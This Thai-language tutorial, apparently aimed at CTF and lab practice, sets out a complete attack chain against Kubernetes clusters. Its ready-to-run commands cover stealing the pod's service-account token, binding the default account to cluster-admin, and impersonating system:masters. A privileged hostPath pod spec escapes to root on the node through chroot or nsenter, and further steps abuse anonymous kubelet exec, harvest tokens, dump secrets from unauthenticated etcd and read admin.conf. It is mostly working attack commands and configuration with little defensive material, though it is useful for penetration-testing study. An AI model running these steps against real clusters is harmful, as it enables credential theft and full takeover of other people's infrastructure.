Kubernetes Attacks & Escape

1. หลักการ & สถาปัตยกรรม

Kubernetes orchestrate container เป็น pod รันบน node ควบคุมผ่าน API server (สมองกลาง) การ auth ใช้ service account (SA) token ที่ mount เข้า pod ทุกตัว สิทธิ์กำหนดด้วย RBAC (Role/ClusterRole + Binding) เป้าหมายผู้โจมตี: จาก pod → ยกสิทธิ์จน create pod บน node ได้ → escape สู่ node → จาก node คุม cluster

2. Enumeration ใน Pod

เมื่อได้ shell ใน pod — ตรวจว่าอยู่ใน container ไหม, มี SA token ไหม, mount อะไร, network เข้าถึงอะไร

# ยืนยันว่าอยู่ใน container
cat /proc/1/cgroup | grep -E 'docker|kube'
ls -la /.dockerenv 2>/dev/null

# SA token (มาเสมอถ้าไม่ปิด automount)
ls /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# env (มัก leak service host/port + บางที secret)
env | grep -iE 'KUBE|SERVICE|SECRET|TOKEN'

# mount น่าสนใจ (host path?)
mount | grep -vE 'proc|sys|cgroup|tmpfs'
cat /proc/mounts | grep -vE 'proc|overlay|tmpfs'

# network: API server เข้าถึงได้ไหม
curl -k https://kubernetes.default.svc/version
# kubelet ของ node เดียวกัน?
curl -k https://$(hostname -i | cut -d. -f1-3).1:10250/pods 2>/dev/null

3. ใช้ SA Token เรียก API

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API=https://kubernetes.default.svc

# ดาวน์โหลด kubectl ถ้าไม่มี
curl -LO https://dl.k8s.io/release/$(curl -sL https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl
chmod +x kubectl

# สิ่งสำคัญสุด: ทำอะไรได้บ้าง
./kubectl --token=$TOKEN --server=$API --insecure-skip-tls-verify auth can-i --list -n $NS

# ลอง list/get resource
./kubectl --token=$TOKEN --server=$API --insecure-skip-tls-verify get pods,secrets -n $NS

4. RBAC Abuse → Privesc

./kubectl --token=$TOKEN --server=$API --insecure-skip-tls-verify \
  create clusterrolebinding pwn --clusterrole=cluster-admin \
  --serviceaccount=$NS:default
# ตอนนี้ default SA = cluster-admin → ทำได้ทุกอย่าง

# ปลอมเป็น cluster-admin group
./kubectl --token=$TOKEN --server=$API --insecure-skip-tls-verify \
  --as=system:admin --as-group=system:masters get secrets -A

5. Pod → Node Escape

ถ้าสร้าง pod ได้ → สร้าง pod ที่ mount host filesystem (hostPath: /) หรือ privileged + hostPID แล้ว chroot/nsenter เข้า node = root บน node

# escape-pod.yaml
apiVersion: v1
kind: Pod
metadata: { name: escape }
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","sleep 1d"]
    securityContext: { privileged: true }
    volumeMounts:
    - { name: host, mountPath: /host }
  volumes:
  - name: host
    hostPath: { path: / }
  nodeName: <target-node>   # เลือก node (ดูจาก kubectl get nodes)
---
# สร้างแล้ว exec เข้าไป chroot:
# kubectl apply -f escape-pod.yaml
# kubectl exec -it escape -- chroot /host bash
# = root บน node!

# จากใน privileged pod ที่ hostPID:true
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# เข้า namespace ของ PID 1 (init ของ host) = หลุดออก node

6. Kubelet API & etcd

นอกจาก API server ยังมี 2 จุดที่มัก misconfigure: kubelet (port 10250 บนทุก node) ถ้าเปิด anonymous = exec เข้า pod ได้, และ etcd (port 2379) = ฐานข้อมูล cluster ทั้งหมด (รวม secret)

# list pods บน node
curl -sk https://NODE:10250/pods | jq '.items[].metadata.name'

# exec เข้า pod ผ่าน kubelet (ถ้า anonymous auth เปิด)
# ใช้ kubeletctl ง่ายกว่า
kubeletctl -i --server NODE pods
kubeletctl -i --server NODE exec "id" -p <pod> -c <container>

# หา SA token จากทุก pod บน node
kubeletctl -i --server NODE scan token

# ถ้าเข้าถึง etcd โดยไม่ต้อง cert (misconfig)
ETCDCTL_API=3 etcdctl --endpoints=https://NODE:2379 \
  get / --prefix --keys-only | grep secret
# อ่าน secret
ETCDCTL_API=3 etcdctl --endpoints=https://NODE:2379 get /registry/secrets/default/<name>

7. Lab Walkthrough

1. 1ได้ shell ใน pod (เช่นผ่าน RCE บน web app ที่รันใน pod)
2. 2recon: cat /proc/1/cgroup ยืนยัน k8s; ls /var/run/secrets/kubernetes.io/serviceaccount/ เจอ token
3. 3เช็คสิทธิ์: kubectl --token=$TOKEN auth can-i --list → เจอ create pods + get secrets
4. 4ดึง secret: kubectl get secrets -o yaml → เจอ DB password / SA token อื่น (base64 decode)
5. 5escape: kubectl apply -f escape-pod.yaml (hostPath /) แล้ว kubectl exec -it escape -- chroot /host bash
6. 6บน node: อ่าน /etc/kubernetes/admin.conf (ถ้าเป็น control-plane node) = cluster-admin kubeconfig → คุมทั้ง cluster

8. Troubleshooting

9. Indicators & Quick Reference

• เริ่ม: recon pod → SA token → can-i --list → RBAC path หรือ escape
• kube-hunter (สแกนภายนอก), peirates/kdigger (จากใน pod)
• secret base64: kubectl get secret X -o jsonpath='{.data.password}' | base64 -d
• control-plane node: /etc/kubernetes/admin.conf = cluster-admin
• flag ใน CTF k8s มักอยู่: secret, configmap, pod env, หรือบน node filesystem

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติว่าคุณเพิ่งได้ shell เข้าไปใน pod ของ k8s cluster (หรือแค่เจอ kubelet/API server เปิดจากภายนอกโดยไม่มี shell เลย) มีแค่เครื่องมือพื้นฐานใน Kali ทำตามขั้นตอนด้านล่างนี้ทีละข้อ แล้วดู decision tree ต่อว่าเจออะไรแล้วควรไปทางไหน

1. 1เช็คว่าอยู่ใน k8s pod จริงไหม: ls /var/run/secrets/kubernetes.io/serviceaccount/ — ถ้าเจอโฟลเดอร์ที่มี token, ca.crt, namespace = อยู่ใน k8s pod แน่นอน
2. 2อ่าน service account token: cat /var/run/secrets/kubernetes.io/serviceaccount/token แล้วเก็บไว้ในตัวแปร TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
3. 3เช็ค namespace ตัวเอง: cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
4. 4ดาวน์โหลด kubectl ถ้ายังไม่มี: curl -LO https://dl.k8s.io/release/$(curl -sL https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl && chmod +x kubectl
5. 5เช็คว่า token นี้ทำอะไรได้บ้าง: ./kubectl --token=$TOKEN --server=https://kubernetes.default.svc --insecure-skip-tls-verify auth can-i --list — ดูรายการ verb/resource ที่อนุญาต
6. 6ลอง list ของจริง: ./kubectl --token=$TOKEN ... get pods,secrets -A — ถ้าเจอ error Forbidden แปลว่าสิทธิ์ต่ำ ต้องหาทางอื่น
7. 7สแกนจากภายนอก/ภายในด้วยเครื่องมืออัตโนมัติ: kube-hunter --remote <API_IP> หรือ --pod ถ้ารันจากใน pod เพื่อ list ช่องโหว่ทั้งหมด
8. 8ใช้ peirates ทำทุกอย่างแบบ interactive: รัน peirates แล้วเลือกเมนู เช่น escalate, list secrets, หรือ generate escape pod ให้อัตโนมัติ
9. 9เช็ค env ตัวเองหา service host/port เพิ่ม: env | grep -iE 'KUBE|SERVICE|SECRET|TOKEN'
10. 10เช็คว่ามี hostPath mount ไหม: mount | grep -vE 'proc|sys|cgroup|tmpfs' — ถ้าเจอ mount ที่ชี้ไป path ของ host = อาจใช้เขียนไฟล์ฝั่ง node ได้เลยโดยไม่ต้อง create pod ใหม่